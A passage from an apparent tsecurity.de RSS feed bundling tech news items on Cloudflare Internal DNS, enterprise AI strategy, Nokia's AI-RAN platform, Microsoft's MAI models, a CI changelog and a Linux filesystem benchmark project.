How this differs from split-horizon DNS

Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.

“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”

Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”

For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.

Early use cases and migration challenges

Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.

Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.

When it comes to migration, the friction customers report during migration is procedural rather than architectural.

“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”

]]> <![CDATA[Microsoft finally lets you fix the worst key on your keyboard]]> https://tsecurity.de/de/3691981/windows-tipps/microsoft-finally-lets-you-fix-the-worst-key-on-your-keyboard/ https://tsecurity.de/de/3691981/windows-tipps/microsoft-finally-lets-you-fix-the-worst-key-on-your-keyboard/ Fri, 24 Jul 2026 18:06:29 +0200 đŸȘŸ Windows Tipps tsecurity.de <![CDATA[The Journey towards Logically Air-Gapped Deployment]]> https://tsecurity.de/de/3691863/it-security-nachrichten/the-journey-towards-logically-air-gapped-deployment/ https://tsecurity.de/de/3691863/it-security-nachrichten/the-journey-towards-logically-air-gapped-deployment/ Fri, 24 Jul 2026 17:04:28 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Fri, 24 Jul 2026 13:04:13 +0200 📰 IT Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Glaze AI: Glaze-Apps können nun native KI-UnterstĂŒtzung bieten – ohne Setup & API-SchlĂŒssel]]> https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/ https://tsecurity.de/de/3691196/it-nachrichten/glaze-ai-glaze-apps-koennen-nun-native-ki-unterstuetzung-bieten-ohne-setup-api-schluessel/ Fri, 24 Jul 2026 11:49:44 +0200 📰 IT Nachrichten tsecurity.de Zum Beitrag: Glaze AI: Glaze-Apps können nun native KI-UnterstĂŒtzung bieten – ohne Setup & API-SchlĂŒssel

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]]> <![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]> https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ Fri, 24 Jul 2026 10:13:45 +0200 📰 IT Security Nachrichten tsecurity.de

Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.

With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.

Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including providing a path to 6G. The partnership with Nvidia brings CUDA and AI into mobile environments.

For Network World readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.

What AI-RAN actually is

At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. Udayan Mukherjee, Nokia’s CTO for RAN and core, summarized the vision in the analyst briefing: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform
 one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”

Several pillars stand out:

  • AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.
  • Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.
  • Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.
  • Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product
 but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.

Why AI-RAN matters for operators

Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.

First, spectrum constraints. Aji Ed, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.

Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.

Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation
 we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.

For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.

Nokia’s differentiation strategy

Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure
 all of these require much higher compute, which is exactly what is coming from the accelerated computing.”

Several differentiators emerge:

  • Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.
  • Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.
  • Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.
  • Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.

Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform
 any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.

How AI-RAN unlocks new revenue

Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.

Examples include:

  • Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it
 as well as two other companies developing location services.”
  • Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.
  • Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.
  • Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.

Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:

  • Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.
  • Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.
  • Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.

For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”

Adoption path and reality check

Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.

There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.

For Network World readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.

]]> <![CDATA[Neu in .NET 10.0 [33]: Verbesserungen bei ValidationContext]]> https://tsecurity.de/de/3690959/it-nachrichten/neu-in-net-100-33-verbesserungen-bei-validationcontext/ https://tsecurity.de/de/3690959/it-nachrichten/neu-in-net-100-33-verbesserungen-bei-validationcontext/ Fri, 24 Jul 2026 10:04:04 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[v17.1.1: fix(ci): repaired native builds broken by native audio stack deps]]> https://tsecurity.de/de/3690929/tools/v1711-fixci-repaired-native-builds-broken-by-native-audio-stack-deps/ https://tsecurity.de/de/3690929/tools/v1711-fixci-repaired-native-builds-broken-by-native-audio-stack-deps/ Fri, 24 Jul 2026 09:40:00 +0200 đŸ’Ÿ Tools tsecurity.de
  • Added ensure-cmake action installing pinned cmake/ninja on omp-kata pods; audiopus_sys builds bundled libopus via CMake (Ninja for MSVC cross).
  • Set CMAKE_POLICY_VERSION_MINIMUM=3.5 globally and in build-native.ts: the bundled opus tree declares cmake_minimum_required below 3.5, which CMake 4.x refuses.
  • Dropped the -C target-cpu=native fallback for non-x64 native builds: it baked build-host CPU features into shipped darwin arm64 addons and trips ring 0.17's aarch64-apple const assertion.
    • ]]>         <![CDATA[WorkSPACE fĂŒr indigo nativ auf iPhone und iPad]]> https://tsecurity.de/de/3690908/it-security-nachrichten/workspace-fuer-indigo-nativ-auf-iphone-und-ipad/ https://tsecurity.de/de/3690908/it-security-nachrichten/workspace-fuer-indigo-nativ-auf-iphone-und-ipad/ Fri, 24 Jul 2026 09:21:08 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]> https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ Fri, 24 Jul 2026 02:50:17 +0200 📰 IT Nachrichten tsecurity.de Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

    The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

    "Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

    How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

    The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

    The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

    MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

    Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

    The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

    Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

    On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

    Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

    Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

    In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

    The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

    Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

    That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

    Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

    Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

    Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

    Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

    “Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

    Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

    The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

    Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

    The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

    But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

    Why Microsoft is turning its internal AI playbook into an Azure product

    The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

    The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

    Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

    ]]>         <![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]> https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/ https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/ Fri, 24 Jul 2026 00:13:06 +0200 🐧 Linux Tipps tsecurity.de

    Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.

    I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.

    The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.

    Hosted CI dashboard:

    https://bartosz.fenski.pl/modern-fs-benchmark/

    Experimental real-hardware dashboard:

    https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/

    Apache-2.0 licensed source and complete methodology:

    https://github.com/fenio/modern-fs-benchmark

    The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.

    Why I started this project

    Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.

    General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.

    I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.

    That means testing behavior such as:

    - Redundancy and degraded operation

    - Snapshot aging, scaling and reclamation

    - Compression and encryption

    - Reflinks and clone divergence

    - Fsync tail latency and responsiveness under load

    - Rebuild and scrub behavior

    - Near-full and hard-ENOSPC behavior

    - Data integrity and recovery from corruption

    Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.

    Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.

    Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.

    The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.

    An important limitation

    The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.

    The hosted runs are primarily useful for:

    - Correctness and integrity outcomes

    - Comparisons within the same job

    - Large behavioral differences

    - Snapshot-aging and near-full shapes

    - Trends across repeated runs

    Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.

    I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.

    The real-hardware experiment

    Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.

    The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.

    During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.

